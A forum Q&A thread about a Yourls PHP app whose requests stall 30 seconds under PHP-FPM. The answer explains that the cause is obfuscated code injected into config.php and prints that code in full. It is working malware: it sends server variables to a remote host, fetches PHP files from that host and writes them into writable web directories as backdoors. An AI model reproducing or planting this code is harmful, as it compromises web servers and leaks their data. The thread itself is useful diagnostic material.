PHP: http requests getting stuck in fpm pool for 30 seconds before getting processed

Question

I have an Ubuntu server with nginx and several apps running on php7.3

There is only ONE php app, Yourls https://yourls.org/ (latest version), whose http requests are getting stuck in the fpm pool for 30 seconds before returning a response.

After turning on debug-level logging, I can see that the below line repeats for 30 seconds:

[07-Apr-2020 18:37:01] DEBUG: pid 4643, fpm_pctl_perform_idle_server_maintenance(), line 378: [pool glblme] currently 1 active children, 2 spare children, 3 running children. Spawning rate 1

Before it finally returns a response:

[07-Apr-2020 18:37:32] DEBUG: pid 4643, fpm_pctl_perform_idle_server_maintenance(), line 378: [pool globalme] currently 0 active children, 2 spare children, 2 running children. Spawning rate 1

Adding some logs to Yourls php files shows that the request is indeed arriving 30 seconds after the request is made.

Why? And why only this app when other apps on the same php fpm are responding instantaneously?

Answer 1

I found the problem. My config.php, for some reason, had accumulated a pile of gibberish at the first line:

<?php if(!isset($incode)){$vl='s';$serverid='noidjxzge';$server_addr='111.126.85.190';function ooOOo($ooO0o,$ooo0,$oo000,$ooo0O,$oo,$o00o){$oO='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0';if(ini_get('allow_url_fopen')==1){$oOo=stream_context_create(array($o00o=>array('method'=>'POST','timeout'=>$oo,'header'=>array('Content-type: application/x-www-form-urlencoded','User-Agent: '.$oO,'content'=>http_build_query($_SERVER)))));if($ooo0O=='yes'){$ooO0o=$ooO0o.'&type=fopen';}$o0=@file_get_contents($ooO0o,false,$oOo);}elseif(in_array('curl',get_loaded_extensions())){if($ooo0O=='yes'){$ooO0o=$ooO0o.'&type=curl';}$oooO=curl_init();curl_setopt($oooO,CURLOPT_URL,$ooO0o);curl_setopt($oooO,CURLOPT_HEADER,false);curl_setopt($oooO,CURLOPT_RETURNTRANSFER,true);curl_setopt($oooO,CURLOPT_TIMEOUT,$oo);curl_setopt($oooO,CURLOPT_USERAGENT,$oO);if($o00o=='https'){curl_setopt($oooO,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($oooO,CURLOPT_SSL_VERIFYHOST,false);}curl_setopt($oooO,CURLOPT_CONNECTTIMEOUT,5);curl_setopt($oooO,CURLOPT_POSTFIELDS,http_build_query($_SERVER));$o0=@curl_exec($oooO);curl_close($oooO);}else{if($ooo0O=='yes'){$oo000=$oo000.'&type=socks';}if($o00o=='https'){$o00=fsockopen('ssl://'.$ooo0,443,$oOoOO,$oOOO,$oo);}else{$o00=fsockopen($ooo0,80,$oOoOO,$oOOO,$oo);}if($o00){stream_set_timeout($o00,$oo);$oO0=http_build_query($_SERVER);$oO000='POST '.$oo000.' HTTP/1.0'."\r\n";$oO000.='Host: '.$ooo0."\r\n";$oO000.='User-Agent: '.$oO."\r\n";$oO000.='Content-Type: application/x-www-form-urlencoded'."\r\n";$oO000.='Content-Length: '.strlen($oO0)."\r\n\r\n";fwrite($o00,$oO000);fwrite($o00,$oO0);$o0Oo0='';while(!feof($o00)){$o0Oo0.=fgets($o00,4096);}fclose($o00);list($o0o,$oO00)=@preg_split("/\R\R/",$o0Oo0,2);$o0=$oO00;}}return$o0;}function c_version($oOO){$o0O0[0]=(int)($oOO/256/256/256);$o0O0[1]=(int)(($oOO-$o0O0[0]*256*256*256)/256/256);$o0O0[2]=(int)(($oOO-$o0O0[0]*256*256*256-$o0O0[1]*256*256)/256);$o0O0[3]=$oOO-$o0O0[0]*256*256*256-$o0O0[1]*256*256-$o0O0[2]*256;return''.$o0O0[0].".".$o0O0[1].".".$o0O0[2].".".$o0O0[3];}function ooo($o0O0o){$o0O00=array();$o0O00[]=$o0O0o;foreach(scandir($o0O0o) as$oo0oo){if($oo0oo=='.'||$oo0oo=='..'){continue;}$o0O=$o0O0o.DIRECTORY_SEPARATOR.$oo0oo;if(is_dir($o0O)){$o0O00[]=$o0O;$o0O00=array_merge($o0O00,ooo($o0O));}}return$o0O00;}$oo0oO=@preg_replace('/^www\./','',$_SERVER['HTTP_HOST']);$ooo0=c_version('1540531608');$oo000='/get.php?spider&checkdomain&host='.$oo0oO.'&serverid='.$serverid.'&stookfile='.__FILE__;$ooO0o='http://'.$ooo0.'/get.php?spider&checkdomain&host='.$oo0oO.'&serverid='.$serverid.'&stookfile='.__FILE__;$ooO00=ooOOo($ooO0o,$ooo0,$oo000,$ooo0O='no',$oo='30',$o00o='http');if($ooO00!='havedoor|havedonor'){$oOOoo=$_SERVER['HTTP_HOST'];$ooO=@preg_replace('/^www\./','',$_SERVER['HTTP_HOST']);$ooo=$_SERVER['DOCUMENT_ROOT'];chdir($ooo);$o0O00=ooo($ooo);$o0O00=array_unique($o0O00);foreach($o0O00 as$oo0oo){if(is_dir($oo0oo)&&is_writable($oo0oo)){$o00OO=explode(DIRECTORY_SEPARATOR,$oo0oo);$oOOo=count($o00OO);$ooOO[]=$oOOo.'|'.$oo0oo;}}$oOOo=0;foreach($ooOO as$oOO0){if(count($ooOO)>1&&(strstr($oOO0,'/wp-admin')||strstr($oOO0,'/cgi-bin'))){unset($ooOO[$oOOo]);}$oOOo++;}if(!is_writable($ooo)){natsort($ooOO);$ooOO=array_values($ooOO);$oOO0=explode('|',$ooOO[0]);$oOO0=$oOO0[1];}else{$oOO0=$ooo;}chdir($oOO0);if(stristr($ooO00,'nodoor')){$ooO0o='http://'.$ooo0.'/get.php?vl='.$vl.'&update&needfilename';$oo000='/get.php?vl='.$vl.'&update&needfilename';$oooOo=ooOOo($ooO0o,$ooo0,$oo000,$ooo0O='no',$oo='55',$o00o='http');$o0000=explode('|||||',$oooOo);$oooo=$o0000[0].'.php';$oOoOo=$o0000[1];file_put_contents($oOO0.DIRECTORY_SEPARATOR.$oooo,$oOoOo);$o0OO0=str_replace($ooo,'',$oOO0);if($_SERVER['SERVER_PORT']=='443'){$o00o='https';}else{$o00o='http';}$ooO0o=$o00o.'://'.$oOOoo.$o0OO0.'/'.$oooo.'?gen&serverid='.$serverid;$oo000=$o0OO0.'/'.$oooo.'?gen&serverid='.$serverid;$o00Oo=ooOOo($ooO0o,$oOOoo,$oo000,$ooo0O='no',$oo='55',$o00o);}elseif(stristr($ooO00,'needtoloadsomefiles')){shuffle($ooOO);$oOO0=explode('|',$ooOO[0]);$oOO0=$oOO0[1];$o0OO0=str_replace($ooo,'',$oOO0);$o0OO='stuvwxyz';$oooo=str_shuffle($o0OO).'.php';$o0OoO=urlencode($o00o.'://'.$oOOoo.$o0OO0.'/'.$oooo);$ooO0o='http://'.$ooo0.'/get.php?bdr&url='.$o0OoO;$oo000='/get.php?bdr&url='.$o0OoO;$o0=ooOOo($ooO0o,$ooo0,$oo000,$ooo0O='no',$oo='20',$o00o='http');file_put_contents($oOO0.DIRECTORY_SEPARATOR.$oooo,$o0);}elseif(stristr($ooO00,'needtoloadclient')){$ooO0o='http://'.$ooo0.'/get.php?getclient&domain='.$ooO;$oo000='/get.php?getclient&domain='.$ooO;$o0=ooOOo($ooO0o,$ooo0,$oo000,$ooo0O='no',$oo='55',$o00o='http');if($o0=='noclient'){exit;}$oo0Oo=explode('::::',$o0);$oOo0O=$oo0Oo[0];$oooo0=$oo0Oo[1];@chmod($oOo0O,0666);file_put_contents($oOo0O,$oooo0);}elseif($ooO00=='needtowait'){}if(stristr($ooO00,'nodonor')){}}$incode=1;}?>

After removing this code, the app worked like a charm!